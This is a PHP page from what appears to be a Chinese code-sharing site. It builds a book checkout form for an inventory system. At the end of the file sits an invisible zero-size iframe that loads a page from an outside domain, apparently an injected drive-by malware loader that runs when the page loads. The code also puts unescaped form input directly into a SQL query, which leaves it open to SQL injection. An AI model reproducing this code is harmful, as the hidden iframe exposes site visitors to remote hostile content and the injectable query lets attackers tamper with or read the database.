⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 fsckcl.php

📁 我不是乱码
💻 PHP
字号:
<?php  //插入数据
include "../config.php";
?>

<link href="../css/css.css" rel="stylesheet" type="text/css">

<form action="fsckcl1.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
  <table width="765" border="0" cellspacing="0" class="table">
    <tr>
      <td height="50" colspan="4" class="tabletitle"> 发书出库</td>
    </tr>
    <tr>
      <td height="2" colspan="4" class="titlebg"></td>
    </tr>
    <tr>
      <td width="110" height="5" class="word">&nbsp;</td>
      <td width="375" height="5" align="left" class="word">&nbsp;</td>
      <td width="90" height="5" class="word">&nbsp;</td>
      <td width="210" height="5" align="left" class="word">&nbsp;</td>
    </tr>
<?php
if(!empty($_POST[submit]))
{
$no=$_POST["no"];

if(empty($no))
{
echo "<script language='javascript'>alert('图书编号不能为空');history.go(-1);</script>";
}

$sql="select * from bookmanagement.books where no='$no'";
$result=mysql_query($sql);

while($rows=mysql_fetch_array($result))
{
?>
    <tr>
      <td width="110" height="35" class="word">  图书编号</td>
      <td width="375" height="35" align="left" class="word">
	  <input name="no" type="text" id="no" size="45" value="<?php echo $rows['no'];?>" /></td>
      <td width="90" height="35" align="left" class="word"> 图书类别</td>
      <td width="210" height="35" align="left" class="word">
	  <select name="category" id="category">
	  
	  <?php //图书类别下拉列表中的内容
$sql="select category from category";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
 echo "<option value=".$row["category"].">".$row["category"]."</option>";
}
?>
      </select>      </td>
    </tr>
    <tr>
      <td width="110" height="35" class="word">  图书名称</td>
      <td width="375" height="35" align="left" class="word"><input name="bookname" type="text" id="bookname" size="45" value="<?php echo $rows['bookname']; } } ?>" /></td>
      <td width="90" height="35" class="word">&nbsp;</td>
      <td width="210" height="35" align="left" class="word">&nbsp;</td>
    </tr>
    <tr>
      <td height="5" class="word">&nbsp;</td>
      <td height="5" align="left" class="word">&nbsp;</td>
      <td height="5" class="word">&nbsp;</td>
      <td height="5" align="left" class="word">&nbsp;</td>
    </tr>
    <tr>
      <td height="2" colspan="4" class="titlebg"></td>
    </tr>
    <tr>
      <td height="5" class="word">&nbsp;</td>
      <td height="5" align="left" class="word">&nbsp;</td>
      <td height="5" class="word">&nbsp;</td>
      <td height="5" align="left" class="word">&nbsp;</td>
    </tr>
    <tr>
      <td width="110" height="35" class="word">  领 书 人</td>
      <td width="375" height="35" align="left" class="word"><input name="lendpeople" type="text" id="lendpeople" size="25" /></td>
      <td width="90" height="35" align="left" class="word"> 领书部门</td>
      <td width="210" height="35" align="left" class="word">
	  <select name="department" id="department">
        <?php //部门下拉列表中的内容
$sql="select department from department";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result))
{
 echo "<option value=".$row["department"].">".$row["department"]."</option>";
}
?>
      </select></td>
    </tr>
    <tr>
      <td width="110" height="35" class="word">  批 准 人</td>
      <td width="375" height="35" align="left" class="word"><input name="agreepeople" type="text" id="agreepeople" size="25" /></td>
      <td width="90" height="35" align="left" class="word">  领书数量</td>
      <td width="210" height="35" align="left" class="word"><input name="amount" type="text" id="amount" size="15" /></td>
    </tr>
    <tr>
      <td width="110" height="35" class="word">  出库日期</td>
      <td width="375" height="35" align="left" class="word"><input name="outdate" type="text" id="outdate" size="25" /></td>
      <td width="90" height="35" class="word">&nbsp;</td>
      <td width="210" height="35" align="left" class="word">&nbsp;</td>
    </tr>
    <tr>
      <td height="10" class="word">&nbsp;</td>
      <td height="10" align="left" class="word">&nbsp;</td>
      <td height="10" class="word">&nbsp;</td>
      <td height="10" align="left" class="word">&nbsp;</td>
    </tr>
    <tr>
      <td height="2" colspan="4" align="center" class="titlebg"></td>
    </tr>
    <tr>
      <td height="67" colspan="4" align="center" class="word">       
        <input type="submit" name="submit" value="发书出库" />  
         
        <input type="reset" name="Submit3" value="清空内容" />
         
      <input name="submit2" type="button" id="submit2" value="返回" /></td>
    </tr>
  </table>
</form>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe> 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -